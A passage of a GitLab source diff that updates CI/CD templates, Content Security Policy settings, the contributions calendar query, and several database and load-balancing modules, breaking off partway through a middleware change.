index aec41c137a4..4917abf6ae9 100644
--- a/lib/gitlab/ci/templates/Python.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Python.gitlab-ci.yml
@@ -23,7 +23,7 @@ cache:
- venv/
before_script:
- - python -V # Print out python version for debugging
+ - python --version # For debugging
- pip install virtualenv
- virtualenv venv
- source venv/bin/activate
diff --git a/lib/gitlab/ci/templates/Scala.gitlab-ci.yml b/lib/gitlab/ci/templates/Scala.gitlab-ci.yml
index ff8f9601189..de54d64dc42 100644
--- a/lib/gitlab/ci/templates/Scala.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Scala.gitlab-ci.yml
@@ -13,8 +13,10 @@ before_script:
- apt-get update -yqq
- apt-get install apt-transport-https -yqq
# Add keyserver for SBT
- - echo "deb http://dl.bintray.com/sbt/debian /" | tee -a /etc/apt/sources.list.d/sbt.list
- - apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 2EE0EA64E40A89B84B2DF73499E82A75642AC823
+ - echo "deb https://repo.scala-sbt.org/scalasbt/debian /" | tee -a /etc/apt/sources.list.d/sbt.list
+ - mkdir -p /root/.gnupg
+ - gpg --recv-keys --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/scalasbt-release.gpg --keyserver hkp://keyserver.ubuntu.com:80 2EE0EA64E40A89B84B2DF73499E82A75642AC823
+ - chmod 644 /etc/apt/trusted.gpg.d/scalasbt-release.gpg
# Install SBT
- apt-get update -yqq
- apt-get install sbt -yqq
diff --git a/lib/gitlab/ci/templates/Security/API-Fuzzing.latest.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/API-Fuzzing.latest.gitlab-ci.yml
index 544774d3b06..01041f4f056 100644
--- a/lib/gitlab/ci/templates/Security/API-Fuzzing.latest.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/API-Fuzzing.latest.gitlab-ci.yml
@@ -11,11 +11,11 @@
variables:
FUZZAPI_VERSION: "1"
SECURE_ANALYZERS_PREFIX: "registry.gitlab.com/gitlab-org/security-products/analyzers"
- FUZZAPI_IMAGE: ${SECURE_ANALYZERS_PREFIX}/api-fuzzing:${FUZZAPI_VERSION}
+ FUZZAPI_IMAGE: api-fuzzing
apifuzzer_fuzz:
stage: fuzz
- image: $FUZZAPI_IMAGE
+ image: $SECURE_ANALYZERS_PREFIX/$FUZZAPI_IMAGE:$FUZZAPI_VERSION
allow_failure: true
rules:
- if: $API_FUZZING_DISABLED
diff --git a/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml
index 89e6743b0e4..65a2b20d5c0 100644
--- a/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml
@@ -38,7 +38,8 @@ container_scanning:
artifacts:
reports:
container_scanning: gl-container-scanning-report.json
- paths: [gl-container-scanning-report.json]
+ dependency_scanning: gl-dependency-scanning-report.json
+ paths: [gl-container-scanning-report.json, gl-dependency-scanning-report.json]
dependencies: []
script:
- gtcs scan
diff --git a/lib/gitlab/ci/templates/Security/DAST-API.latest.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/DAST-API.latest.gitlab-ci.yml
new file mode 100644
index 00000000000..57f1993921d
--- /dev/null
+++ b/lib/gitlab/ci/templates/Security/DAST-API.latest.gitlab-ci.yml
@@ -0,0 +1,52 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/Dast-API.gitlab-ci.yml
+
+# To use this template, add the following to your .gitlab-ci.yml file:
+#
+# include:
+# template: DAST-API.latest.gitlab-ci.yml
+#
+# You also need to add a `dast` stage to your `stages:` configuration. A sample configuration for DAST API:
+#
+# stages:
+# - build
+# - test
+# - deploy
+# - dast
+
+# Read more about this feature here: https://docs.gitlab.com/ee/user/application_security/dast_api/index.html
+
+# Configure DAST API scanning with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/index.html).
+# List of available variables: https://docs.gitlab.com/ee/user/application_security/dast_api/index.html#available-cicd-variables
+
+variables:
+ # Setting this variable affects all Security templates
+ # (SAST, Dependency Scanning, ...)
+ SECURE_ANALYZERS_PREFIX: "registry.gitlab.com/gitlab-org/security-products/analyzers"
+ #
+ DAST_API_VERSION: "1"
+ DAST_API_IMAGE: api-fuzzing
+
+dast_api:
+ stage: dast
+ image: $SECURE_ANALYZERS_PREFIX/$DAST_API_IMAGE:$DAST_API_VERSION
+ allow_failure: true
+ rules:
+ - if: $DAST_API_DISABLED
+ when: never
+ - if: $DAST_API_DISABLED_FOR_DEFAULT_BRANCH &&
+ $CI_DEFAULT_BRANCH == $CI_COMMIT_REF_NAME
+ when: never
+ - if: $CI_COMMIT_BRANCH
+ script:
+ - /peach/analyzer-dast-api
+ artifacts:
+ when: always
+ paths:
+ - gl-assets
+ - gl-dast-api-report.json
+ - gl-*.log
+ reports:
+ dast: gl-dast-api-report.json
diff --git a/lib/gitlab/ci/templates/Verify/Accessibility.gitlab-ci.yml b/lib/gitlab/ci/templates/Verify/Accessibility.gitlab-ci.yml
index 4f63ff93d4d..8f4a836441d 100644
--- a/lib/gitlab/ci/templates/Verify/Accessibility.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Verify/Accessibility.gitlab-ci.yml
@@ -13,7 +13,7 @@ stages:
a11y:
stage: accessibility
- image: registry.gitlab.com/gitlab-org/ci-cd/accessibility:6.0.1
+ image: registry.gitlab.com/gitlab-org/ci-cd/accessibility:6.1.1
script: /gitlab-accessibility.sh $a11y_urls
allow_failure: true
artifacts:
diff --git a/lib/gitlab/ci/templates/dotNET-Core.gitlab-ci.yml b/lib/gitlab/ci/templates/dotNET-Core.gitlab-ci.yml
index edd0fb0ba07..09fce67db2d 100644
--- a/lib/gitlab/ci/templates/dotNET-Core.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/dotNET-Core.gitlab-ci.yml
@@ -1,4 +1,4 @@
-# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
# https://docs.gitlab.com/ee/development/cicd/templates.html
# This specific template is located at:
# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/dotNET-Core.yml
@@ -14,10 +14,10 @@
# The 'latest' tag targets the latest available version of .NET Core SDK image.
# If preferred, you can explicitly specify version of .NET Core (e.g. using '2.2-sdk' tag).
#
-# See other available tags for .NET Core: https://hub.docker.com/r/microsoft/dotnet
+# See other available tags for .NET Core: https://hub.docker.com/_/microsoft-dotnet
# Learn more about Docker tags: https://docs.docker.com/glossary/?term=tag
# and the Docker itself: https://opensource.com/resources/what-docker
-image: microsoft/dotnet:latest
+image: mcr.microsoft.com/dotnet/sdk:latest
# ### Define variables
#
diff --git a/lib/gitlab/ci/variables/builder.rb b/lib/gitlab/ci/variables/builder.rb
index f4c5a06af97..3e2c2c7fc1a 100644
--- a/lib/gitlab/ci/variables/builder.rb
+++ b/lib/gitlab/ci/variables/builder.rb
@@ -12,7 +12,7 @@ module Gitlab
def scoped_variables(job, environment:, dependencies:)
Gitlab::Ci::Variables::Collection.new.tap do |variables|
- variables.concat(predefined_variables(job)) if pipeline.predefined_vars_in_builder_enabled?
+ variables.concat(predefined_variables(job))
end
end
diff --git a/lib/gitlab/ci/yaml_processor.rb b/lib/gitlab/ci/yaml_processor.rb
index 1aa3dbc5e47..296b0cfded2 100644
--- a/lib/gitlab/ci/yaml_processor.rb
+++ b/lib/gitlab/ci/yaml_processor.rb
@@ -29,10 +29,8 @@ module Gitlab
run_logical_validations!
Result.new(ci_config: @ci_config, warnings: @ci_config&.warnings)
-
rescue Gitlab::Ci::Config::ConfigError => e
Result.new(ci_config: @ci_config, errors: [e.message], warnings: @ci_config&.warnings)
-
rescue ValidationError => e
Result.new(ci_config: @ci_config, errors: [e.message], warnings: @ci_config&.warnings)
end
diff --git a/lib/gitlab/ci/yaml_processor/result.rb b/lib/gitlab/ci/yaml_processor/result.rb
index 6215ba40ebe..f14279dca2d 100644
--- a/lib/gitlab/ci/yaml_processor/result.rb
+++ b/lib/gitlab/ci/yaml_processor/result.rb
@@ -92,6 +92,7 @@ module Gitlab
script: job[:script],
after_script: job[:after_script],
environment: job[:environment],
+ resource_group_key: job[:resource_group],
retry: job[:retry],
parallel: job[:parallel],
instance: job[:instance],
diff --git a/lib/gitlab/config/entry/undefined.rb b/lib/gitlab/config/entry/undefined.rb
index 5f708abc80c..55393890693 100644
--- a/lib/gitlab/config/entry/undefined.rb
+++ b/lib/gitlab/config/entry/undefined.rb
@@ -31,6 +31,10 @@ module Gitlab
false
end
+ def type
+ nil
+ end
+
def inspect
"#<#{self.class.name}>"
end
diff --git a/lib/gitlab/content_security_policy/config_loader.rb b/lib/gitlab/content_security_policy/config_loader.rb
index bdae59e7e3c..87bc2ace204 100644
--- a/lib/gitlab/content_security_policy/config_loader.rb
+++ b/lib/gitlab/content_security_policy/config_loader.rb
@@ -36,6 +36,7 @@ module Gitlab
if Rails.env.development?
allow_webpack_dev_server(directives)
allow_letter_opener(directives)
+ allow_snowplow_micro(directives) if Gitlab::Tracking.snowplow_micro_enabled?
allow_customersdot(directives) if ENV['CUSTOMER_PORTAL_URL'].present?
end
@@ -138,13 +139,15 @@ module Gitlab
append_to_directive(directives, 'frame_src', Gitlab::Utils.append_path(Gitlab.config.gitlab.url, '/rails/letter_opener/'))
end
+ def self.allow_snowplow_micro(directives)
+ url = URI.join(Gitlab::Tracking::Destinations::SnowplowMicro.new.uri, '/').to_s
+ append_to_directive(directives, 'connect_src', url)
+ end
+
# Using 'self' in the CSP introduces several CSP bypass opportunities
# for this reason we list the URLs where GitLab frames itself instead
def self.allow_framed_gitlab_paths(directives)
- # We need the version without trailing / for the sidekiq page itself
- # and we also need the version with trailing / for "deeper" pages
- # like /admin/sidekiq/busy
- ['/admin/sidekiq', '/admin/sidekiq/', '/-/speedscope/index.html'].map do |path|
+ ['/admin/', '/assets/', '/-/speedscope/index.html'].map do |path|
append_to_directive(directives, 'frame_src', Gitlab::Utils.append_path(Gitlab.config.gitlab.url, path))
end
end
diff --git a/lib/gitlab/content_security_policy/directives.rb b/lib/gitlab/content_security_policy/directives.rb
index 30f3c16247d..3b958f8c92e 100644
--- a/lib/gitlab/content_security_policy/directives.rb
+++ b/lib/gitlab/content_security_policy/directives.rb
@@ -8,7 +8,7 @@ module Gitlab
module ContentSecurityPolicy
module Directives
def self.frame_src
- "https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://content.googleapis.com https://content-compute.googleapis.com https://content-cloudbilling.googleapis.com https://content-cloudresourcemanager.googleapis.com"
+ "https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://content.googleapis.com https://content-compute.googleapis.com https://content-cloudbilling.googleapis.com https://content-cloudresourcemanager.googleapis.com https://www.googletagmanager.com/ns.html"
end
def self.script_src
diff --git a/lib/gitlab/contributions_calendar.rb b/lib/gitlab/contributions_calendar.rb
index deaaab953aa..f48ba27888c 100644
--- a/lib/gitlab/contributions_calendar.rb
+++ b/lib/gitlab/contributions_calendar.rb
@@ -10,7 +10,7 @@ module Gitlab
def initialize(contributor, current_user = nil)
@contributor = contributor
- @contributor_time_instance = local_time_instance(contributor.timezone)
+ @contributor_time_instance = local_timezone_instance(contributor.timezone).now
@current_user = current_user
@projects = if @contributor.include_private_contributions?
ContributedProjectsFinder.new(@contributor).execute(@contributor)
@@ -21,27 +21,33 @@ module Gitlab
# rubocop: disable CodeReuse/ActiveRecord
def activity_dates
+ return {} if @projects.empty?
return @activity_dates if @activity_dates.present?
+ start_time = @contributor_time_instance.years_ago(1).beginning_of_day
+ end_time = @contributor_time_instance.end_of_day
+
+ date_interval = "INTERVAL '#{@contributor_time_instance.utc_offset} seconds'"
+
# Can't use Event.contributions here because we need to check 3 different
# project_features for the (currently) 3 different contribution types
- date_from = @contributor_time_instance.now.years_ago(1)
- repo_events = event_counts(date_from, :repository)
- .having(action: :pushed)
- issue_events = event_counts(date_from, :issues)
- .having(action: [:created, :closed], target_type: "Issue")
- mr_events = event_counts(date_from, :merge_requests)
- .having(action: [:merged, :created, :closed], target_type: "MergeRequest")
- note_events = event_counts(date_from, :merge_requests)
- .having(action: :commented)
+ repo_events = events_created_between(start_time, end_time, :repository)
+ .where(action: :pushed)
+ issue_events = events_created_between(start_time, end_time, :issues)
+ .where(action: [:created, :closed], target_type: "Issue")
+ mr_events = events_created_between(start_time, end_time, :merge_requests)
+ .where(action: [:merged, :created, :closed], target_type: "MergeRequest")
+ note_events = events_created_between(start_time, end_time, :merge_requests)
+ .where(action: :commented)
events = Event
- .select(:project_id, :target_type, :action, :date, :total_amount)
- .from_union([repo_events, issue_events, mr_events, note_events])
+ .select("date(created_at + #{date_interval}) AS date", 'COUNT(*) AS num_events')
+ .from_union([repo_events, issue_events, mr_events, note_events], remove_duplicates: false)
+ .group(:date)
.map(&:attributes)
@activity_dates = events.each_with_object(Hash.new {|h, k| h[k] = 0 }) do |event, activities|
- activities[event["date"]] += event["total_amount"]
+ activities[event["date"]] += event["num_events"]
end
end
# rubocop: enable CodeReuse/ActiveRecord
@@ -50,7 +56,7 @@ module Gitlab
def events_by_date(date)
return Event.none unless can_read_cross_project?
- date_in_time_zone = date.in_time_zone(@contributor_time_instance)
+ date_in_time_zone = date.in_time_zone(@contributor_time_instance.time_zone)
Event.contributions.where(author_id: contributor.id)
.where(created_at: date_in_time_zone.beginning_of_day..date_in_time_zone.end_of_day)
@@ -60,11 +66,11 @@ module Gitlab
# rubocop: enable CodeReuse/ActiveRecord
def starting_year
- @contributor_time_instance.now.years_ago(1).year
+ @contributor_time_instance.years_ago(1).year
end
def starting_month
- @contributor_time_instance.today.month
+ @contributor_time_instance.month
end
private
@@ -74,29 +80,31 @@ module Gitlab
end
# rubocop: disable CodeReuse/ActiveRecord
- def event_counts(date_from, feature)
- t = Event.arel_table
-
+ def events_created_between(start_time, end_time, feature)
# re-running the contributed projects query in each union is expensive, so
# use IN(project_ids...) instead. It's the intersection of two users so
# the list will be (relatively) short
@contributed_project_ids ||= projects.distinct.pluck(:id)
- authed_projects = Project.where(id: @contributed_project_ids)
- .with_feature_available_for_user(feature, current_user)
- .reorder(nil)
- .select(:id)
-
- conditions = t[:created_at].gteq(date_from.beginning_of_day)
- .and(t[:created_at].lteq(@contributor_time_instance.today.end_of_day))
- .and(t[:author_id].eq(contributor.id))
- date_interval = "INTERVAL '#{@contributor_time_instance.now.utc_offset} seconds'"
+ # no need to check feature access of current user, if the contributor opted-in
+ # to show all private events anyway - otherwise they would get filtered out again
+ authed_projects = if @contributor.include_private_contributions?
+ @contributed_project_ids
+ else
+ ProjectFeature
+ .with_feature_available_for_user(feature, current_user)
+ .where(project_id: @contributed_project_ids)
+ .reorder(nil)
+ .select(:project_id)
+ end
Event.reorder(nil)
- .select(t[:project_id], t[:target_type], t[:action], "date(created_at + #{date_interval}) AS date", 'count(id) as total_amount')
- .group(t[:project_id], t[:target_type], t[:action], "date(created_at + #{date_interval})")
- .where(conditions)
- .where("events.project_id in (#{authed_projects.to_sql})") # rubocop:disable GitlabSecurity/SqlInjection
+ .select(:created_at)
+ .where(
+ author_id: contributor.id,
+ created_at: start_time..end_time,
+ events: { project_id: authed_projects }
+ )
end
# rubocop: enable CodeReuse/ActiveRecord
end
diff --git a/lib/gitlab/daemon.rb b/lib/gitlab/daemon.rb
index ddb9d907640..058fe1c8139 100644
--- a/lib/gitlab/daemon.rb
+++ b/lib/gitlab/daemon.rb
@@ -2,16 +2,16 @@
module Gitlab
class Daemon
- def self.initialize_instance(*args)
+ def self.initialize_instance(...)
raise "#{name} singleton instance already initialized" if @instance
- @instance = new(*args)
+ @instance = new(...)
Kernel.at_exit(&@instance.method(:stop))
@instance
end
- def self.instance(*args)
- @instance ||= initialize_instance(*args)
+ def self.instance(...)
+ @instance ||= initialize_instance(...)
end
attr_reader :thread
@@ -20,7 +20,8 @@ module Gitlab
!thread.nil?
end
- def initialize
+ def initialize(**options)
+ @synchronous = options[:synchronous]
@mutex = Mutex.new
end
@@ -43,6 +44,10 @@ module Gitlab
Thread.current.name = thread_name
run_thread
end
+
+ @thread.join if @synchronous
+
+ @thread
end
end
end
diff --git a/lib/gitlab/database.rb b/lib/gitlab/database.rb
index 9c74e5d2ca8..f9c346a272f 100644
--- a/lib/gitlab/database.rb
+++ b/lib/gitlab/database.rb
@@ -63,6 +63,19 @@ module Gitlab
}.compact.with_indifferent_access.freeze
end
+ # This returns a list of base models with connection associated for a given gitlab_schema
+ def self.schemas_to_base_models
+ @schemas_to_base_models ||= {
+ gitlab_main: [self.database_base_models.fetch(:main)],
+ gitlab_ci: [self.database_base_models[:ci] || self.database_base_models.fetch(:main)], # use CI or fallback to main
+ gitlab_shared: self.database_base_models.values # all models
+ }.with_indifferent_access.freeze
+ end
+
+ def self.all_database_names
+ DATABASE_NAMES
+ end
+
# We configure the database connection pool size automatically based on the
# configured concurrency. We also add some headroom, to make sure we don't
# run out of connections when more threads besides the 'user-facing' ones
diff --git a/lib/gitlab/database/async_indexes/index_creator.rb b/lib/gitlab/database/async_indexes/index_creator.rb
index 994a1deba57..2fb4cc8f675 100644
--- a/lib/gitlab/database/async_indexes/index_creator.rb
+++ b/lib/gitlab/database/async_indexes/index_creator.rb
@@ -47,6 +47,10 @@ module Gitlab
TIMEOUT_PER_ACTION
end
+ def lease_key
+ [super, async_index.connection_db_config.name].join('/')
+ end
+
def set_statement_timeout
connection.execute("SET statement_timeout TO '%ds'" % STATEMENT_TIMEOUT)
yield
diff --git a/lib/gitlab/database/background_migration/batched_job.rb b/lib/gitlab/database/background_migration/batched_job.rb
index 32765cb6a56..503172dd750 100644
--- a/lib/gitlab/database/background_migration/batched_job.rb
+++ b/lib/gitlab/database/background_migration/batched_job.rb
@@ -21,6 +21,7 @@ module Gitlab
from_union([failed_jobs, self.stuck])
}
+ scope :except_succeeded, -> { where(status: self.statuses.except(:succeeded).values) }
enum status: {
pending: 0,
diff --git a/lib/gitlab/database/background_migration/batched_migration.rb b/lib/gitlab/database/background_migration/batched_migration.rb
index d9fc2ea48f6..2844cbe4a74 100644
--- a/lib/gitlab/database/background_migration/batched_migration.rb
+++ b/lib/gitlab/database/background_migration/batched_migration.rb
@@ -18,6 +18,8 @@ module Gitlab
scope: [:job_class_name, :table_name, :column_name]
}
+ validate :validate_batched_jobs_status, if: -> { status_changed? && finished? }
+
scope :queue_order, -> { order(id: :asc) }
scope :queued, -> { where(status: [:active, :paused]) }
scope :for_configuration, ->(job_class_name, table_name, column_name, job_arguments) do
@@ -92,11 +94,11 @@ module Gitlab
end
def job_class_name=(class_name)
- write_attribute(:job_class_name, class_name.demodulize)
+ write_attribute(:job_class_name, class_name.delete_prefix("::"))
end
def batch_class_name=(class_name)
- write_attribute(:batch_class_name, class_name.demodulize)
+ write_attribute(:batch_class_name, class_name.delete_prefix("::"))
end
def migrated_tuple_count
@@ -133,6 +135,12 @@ module Gitlab
def optimize!
BatchOptimizer.new(self).optimize!
end
+
+ private
+
+ def validate_batched_jobs_status
+ errors.add(:batched_jobs, 'jobs need to be succeeded') if batched_jobs.except_succeeded.exists?
+ end
end
end
end
diff --git a/lib/gitlab/database/count/reltuples_count_strategy.rb b/lib/gitlab/database/count/reltuples_count_strategy.rb
index 870cf25984b..68a0c15480a 100644
--- a/lib/gitlab/database/count/reltuples_count_strategy.rb
+++ b/lib/gitlab/database/count/reltuples_count_strategy.rb
@@ -32,12 +32,12 @@ module Gitlab
# Models using single-type inheritance (STI) don't work with
# reltuple count estimates. We just have to ignore them and
# use another strategy to compute them.
- def non_sti_models
+ def non_sti_models(models)
models.reject { |model| sti_model?(model) }
end
- def non_sti_table_names
- non_sti_models.map(&:table_name)
+ def non_sti_table_names(models)
+ non_sti_models(models).map(&:table_name)
end
def sti_model?(model)
@@ -45,21 +45,34 @@ module Gitlab
model.base_class != model
end
- def table_names
- models.map(&:table_name)
+ def table_to_model_mapping
+ @table_to_model_mapping ||= models.each_with_object({}) { |model, h| h[model.table_name] = model }
+ end
+
+ def table_to_model(table_name)
+ table_to_model_mapping[table_name]
end
def size_estimates(check_statistics: true)
- table_to_model = models.each_with_object({}) { |model, h| h[model.table_name] = model }
-
- # Querying tuple stats only works on the primary. Due to load balancing, the
- # easiest way to do this is to start a transaction.
- ActiveRecord::Base.transaction do # rubocop: disable Database/MultipleDatabases
- get_statistics(non_sti_table_names, check_statistics: check_statistics).each_with_object({}) do |row, data|
- model = table_to_model[row.table_name]
- data[model] = row.estimate
+ results = {}
+
+ models.group_by { |model| model.connection_db_config.name }.map do |db_name, models_for_db|
+ base_model = Gitlab::Database.database_base_models[db_name]
+ tables = non_sti_table_names(models_for_db)
+
+ # Querying tuple stats only works on the primary. Due to load balancing, the
+ # easiest way to do this is to start a transaction.
+ base_model.transaction do
+ Gitlab::Database::SharedModel.using_connection(base_model.connection) do
+ get_statistics(tables, check_statistics: check_statistics).each do |row|
+ model = table_to_model(row.table_name)
+ results[model] = row.estimate
+ end
+ end
end
end
+
+ results
end
# Generates the PostgreSQL query to return the tuples for tables
diff --git a/lib/gitlab/database/count/tablesample_count_strategy.rb b/lib/gitlab/database/count/tablesample_count_strategy.rb
index 489bc0aacea..92c8de9aeac 100644
--- a/lib/gitlab/database/count/tablesample_count_strategy.rb
+++ b/lib/gitlab/database/count/tablesample_count_strategy.rb
@@ -61,7 +61,7 @@ module Gitlab
#{where_clause(model)}
SQL
- rows = ActiveRecord::Base.connection.select_all(query) # rubocop: disable Database/MultipleDatabases
+ rows = model.connection.select_all(query)
Integer(rows.first['count'])
end
diff --git a/lib/gitlab/database/gitlab_loose_foreign_keys.yml b/lib/gitlab/database/gitlab_loose_foreign_keys.yml
new file mode 100644
index 00000000000..0343c054f23
--- /dev/null
+++ b/lib/gitlab/database/gitlab_loose_foreign_keys.yml
@@ -0,0 +1,69 @@
+ci_pipeline_chat_data:
+ - table: chat_names
+ column: chat_name_id
+ on_delete: async_delete
+dast_scanner_profiles_builds:
+ - table: ci_builds
+ column: ci_build_id
+ on_delete: async_delete
+dast_scanner_profiles_builds:
+ - table: ci_builds
+ column: ci_build_id
+ on_delete: async_delete
+dast_profiles_pipelines:
+ - table: ci_pipelines
+ column: ci_pipeline_id
+ on_delete: async_delete
+clusters_applications_runners:
+ - table: ci_runners
+ column: runner_id
+ on_delete: async_nullify
+ci_namespace_mirrors:
+ - table: namespaces
+ column: namespace_id
+ on_delete: async_delete
+ci_builds:
+ - table: users
+ column: user_id
+ on_delete: async_nullify
+ci_pipelines:
+ - table: merge_requests
+ column: merge_request_id
+ on_delete: async_delete
+ - table: external_pull_requests
+ column: external_pull_request_id
+ on_delete: async_nullify
+ - table: users
+ column: user_id
+ on_delete: async_nullify
+ci_project_mirrors:
+ - table: projects
+ column: project_id
+ on_delete: async_delete
+ - table: namespaces
+ column: namespace_id
+ on_delete: async_delete
+packages_build_infos:
+ - table: ci_pipelines
+ column: pipeline_id
+ on_delete: async_nullify
+packages_package_file_build_infos:
+ - table: ci_pipelines
+ column: pipeline_id
+ on_delete: async_nullify
+pages_deployments:
+ - table: ci_builds
+ column: ci_build_id
+ on_delete: async_nullify
+terraform_state_versions:
+ - table: ci_builds
+ column: ci_build_id
+ on_delete: async_nullify
+merge_request_metrics:
+ - table: ci_pipelines
+ column: pipeline_id
+ on_delete: async_delete
+project_pages_metadata:
+ - table: ci_job_artifacts
+ column: artifacts_archive_id
+ on_delete: async_nullify
diff --git a/lib/gitlab/database/gitlab_schemas.yml b/lib/gitlab/database/gitlab_schemas.yml
index 66157e998a0..24c2d634780 100644
--- a/lib/gitlab/database/gitlab_schemas.yml
+++ b/lib/gitlab/database/gitlab_schemas.yml
@@ -1,4 +1,5 @@
abuse_reports: :gitlab_main
+agent_activity_events: :gitlab_main
agent_group_authorizations: :gitlab_main
agent_project_authorizations: :gitlab_main
alert_management_alert_assignees: :gitlab_main
@@ -85,6 +86,7 @@ ci_job_token_project_scope_links: :gitlab_ci
ci_job_variables: :gitlab_ci
ci_minutes_additional_packs: :gitlab_ci
ci_namespace_monthly_usages: :gitlab_ci
+ci_namespace_mirrors: :gitlab_ci
ci_pending_builds: :gitlab_ci
ci_pipeline_artifacts: :gitlab_ci
ci_pipeline_chat_data: :gitlab_ci
@@ -96,6 +98,7 @@ ci_pipelines: :gitlab_ci
ci_pipeline_variables: :gitlab_ci
ci_platform_metrics: :gitlab_ci
ci_project_monthly_usages: :gitlab_ci
+ci_project_mirrors: :gitlab_ci
ci_refs: :gitlab_ci
ci_resource_groups: :gitlab_ci
ci_resources: :gitlab_ci
@@ -161,6 +164,7 @@ dependency_proxy_group_settings: :gitlab_main
dependency_proxy_image_ttl_group_policies: :gitlab_main
dependency_proxy_manifests: :gitlab_main
deploy_keys_projects: :gitlab_main
+deployment_approvals: :gitlab_main
deployment_clusters: :gitlab_main
deployment_merge_requests: :gitlab_main
deployments: :gitlab_main
@@ -249,6 +253,7 @@ incident_management_oncall_schedules: :gitlab_main
incident_management_oncall_shifts: :gitlab_main
incident_management_pending_alert_escalations: :gitlab_main
incident_management_pending_issue_escalations: :gitlab_main
+incident_management_timeline_events: :gitlab_main
index_statuses: :gitlab_main
in_product_marketing_emails: :gitlab_main
insights: :gitlab_main
@@ -260,6 +265,7 @@ issuable_severities: :gitlab_main
issuable_slas: :gitlab_main
issue_assignees: :gitlab_main
issue_customer_relations_contacts: :gitlab_main
+issue_emails: :gitlab_main
issue_email_participants: :gitlab_main
issue_links: :gitlab_main
issue_metrics: :gitlab_main
@@ -281,6 +287,7 @@ ldap_group_links: :gitlab_main
lfs_file_locks: :gitlab_main
lfs_objects: :gitlab_main
lfs_objects_projects: :gitlab_main
+lfs_object_states: :gitlab_main
licenses: :gitlab_main
lists: :gitlab_main
list_user_preferences: :gitlab_main
@@ -290,6 +297,7 @@ members: :gitlab_main
merge_request_assignees: :gitlab_main
merge_request_blocks: :gitlab_main
merge_request_cleanup_schedules: :gitlab_main
+merge_requests_compliance_violations: :gitlab_main
merge_request_context_commit_diff_files: :gitlab_main
merge_request_context_commits: :gitlab_main
merge_request_diff_commits: :gitlab_main
@@ -314,6 +322,7 @@ namespace_package_settings: :gitlab_main
namespace_root_storage_statistics: :gitlab_main
namespace_settings: :gitlab_main
namespaces: :gitlab_main
+namespaces_sync_events: :gitlab_main
namespace_statistics: :gitlab_main
note_diff_files: :gitlab_main
notes: :gitlab_main
@@ -363,6 +372,7 @@ packages_pypi_metadata: :gitlab_main
packages_rubygems_metadata: :gitlab_main
packages_tags: :gitlab_main
pages_deployments: :gitlab_main
+pages_deployment_states: :gitlab_main
pages_domain_acme_orders: :gitlab_main
pages_domains: :gitlab_main
partitioned_foreign_keys: :gitlab_main
@@ -408,6 +418,7 @@ project_repository_storage_moves: :gitlab_main
project_security_settings: :gitlab_main
project_settings: :gitlab_main
projects: :gitlab_main
+projects_sync_events: :gitlab_main
project_statistics: :gitlab_main
project_topics: :gitlab_main
project_tracing_settings: :gitlab_main
@@ -485,6 +496,7 @@ trending_projects: :gitlab_main
u2f_registrations: :gitlab_main
upcoming_reconciliations: :gitlab_main
uploads: :gitlab_main
+upload_states: :gitlab_main
user_agent_details: :gitlab_main
user_callouts: :gitlab_main
user_canonical_emails: :gitlab_main
@@ -526,6 +538,7 @@ vulnerability_issue_links: :gitlab_main
vulnerability_occurrence_identifiers: :gitlab_main
vulnerability_occurrence_pipelines: :gitlab_main
vulnerability_occurrences: :gitlab_main
+vulnerability_reads: :gitlab_main
vulnerability_remediations: :gitlab_main
vulnerability_scanners: :gitlab_main
vulnerability_statistics: :gitlab_main
diff --git a/lib/gitlab/database/load_balancing.rb b/lib/gitlab/database/load_balancing.rb
index 52eb0764ae3..e16db5af8ce 100644
--- a/lib/gitlab/database/load_balancing.rb
+++ b/lib/gitlab/database/load_balancing.rb
@@ -30,6 +30,10 @@ module Gitlab
end
end
+ def self.primary_only?
+ each_load_balancer.all?(&:primary_only?)
+ end
+
def self.release_hosts
each_load_balancer(&:release_host)
end
diff --git a/lib/gitlab/database/load_balancing/configuration.rb b/lib/gitlab/database/load_balancing/configuration.rb
index da313361073..e769cb5c35c 100644
--- a/lib/gitlab/database/load_balancing/configuration.rb
+++ b/lib/gitlab/database/load_balancing/configuration.rb
@@ -107,7 +107,11 @@ module Gitlab
hosts.any? || service_discovery_enabled?
end
+ # This is disabled for Rake tasks to ensure e.g. database migrations
+ # always produce consistent results.
def service_discovery_enabled?
+ return false if Gitlab::Runtime.rake?
+
service_discovery[:record].present?
end
diff --git a/lib/gitlab/database/load_balancing/sidekiq_server_middleware.rb b/lib/gitlab/database/load_balancing/sidekiq_server_middleware.rb
index b9acc36b4cc..5d91292b8de 100644
--- a/lib/gitlab/database/load_balancing/sidekiq_server_middleware.rb
+++ b/lib/gitlab/database/load_balancing/sidekiq_server_middleware.rb
@@ -6,6 +6,8 @@ module Gitlab
class SidekiqServerMiddleware
JobReplicaNotUpToDate = Class.new(StandardError)
+ MINIMUM_DELAY_INTERVAL_SECONDS = 0.8
+
def call(worker, job, _queue)
worker_class = worker.class
strategy = select_load_balancing_strategy(worker_class, job)
@@ -42,11 +44,15 @@ module Gitlab
wal_locations = get_wal_locations(job)
- return :primary_no_wal unless wal_locations
+ return :primary_no_wal if wal_locations.blank?
+
+ # Happy case: we can read from a replica.
+ return replica_strategy(worker_class, job) if databases_in_sync?(wal_locations)
+
+ sleep_if_needed(job)
if databases_in_sync?(wal_locations)
- # Happy case: we can read from a replica.
